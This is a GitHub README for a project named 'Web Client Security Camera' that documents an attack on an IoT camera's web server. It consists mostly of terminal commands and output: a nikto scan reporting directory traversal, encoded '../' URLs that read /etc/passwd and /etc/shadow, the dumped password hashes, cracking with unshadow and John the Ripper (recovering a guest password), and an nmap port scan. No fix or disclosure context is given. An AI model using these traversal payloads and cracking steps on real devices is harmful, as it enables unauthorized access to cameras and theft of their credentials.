Web-Client-Security-Camera/README at main · 0x01369/Web-Client-Security-Camera · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
# Web Client Security Camera

# IoT Device Security Camera

<img src="https://raw.githubusercontent.com/Dark-NetWork/Web-Client-Security-Camera/main/appName.png" class="shrinkToFit" width="350" height="55">

<img src="https://raw.githubusercontent.com/Dark-NetWork/Web-Client-Security-Camera/main/Login_LoginContent.png" class="shrinkToFit" width="693" height="236">

+ root@kali:~$  nikto -h 192.168.1.11

+ ---------------------------------------------------------------------------
+ Target IP:          192.168.1.11
+ Target Port:        80
+ ---------------------------------------------------------------------------
+ /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.
+ /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.
+ /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa +(boa.org).
+ OSVDB-3133: ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely.
+ ---------------------------------------------------------------------------

+ http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
+ http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

+ /etc/passwd

+ root:x:0:0:root:/:/bin/sh
+ guest:x:1000:1000:Linux User,,,:/:/bin/sh

+ /etc/shadow

+ root:3kzd9/xqjB.3k:16772:0:99999:7:::
+ guest:IhQlNqID7twUk:16772:0:99999:7:::

+ root@kali:~$ unshadow /root/Desktop/passwd /root/Desktop/shadow > /root/Desktop/status

+ root:3kzd9/xqjB.3k:0:0:root:/:/bin/sh
+ guest:IhQlNqID7twUk:1000:1000:Linux User,,,:/:/bin/sh

+ root@kali:~$ john /root/Desktop/status

+ Loaded 2 password hashes with 2 different salts (descrypt, traditional crypt(3) [DES 128/128 SSE2])
+ Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist
+ 123456           (guest)

+ root@kali:~$ map -sS -sV 192.168.1.11

+ Starting Nmap 7.91 ( https://nmap.org )
+ PORT     STATE SERVICE    VERSION
+ 80/tcp   open  tcpwrapped
+ 8080/tcp open  http       Mini web server 1.0 (ZTE ZXV10 W300 ADSL router http config)
+ 58000/tcp open  http       CPE Server TR-069 remote access 1.0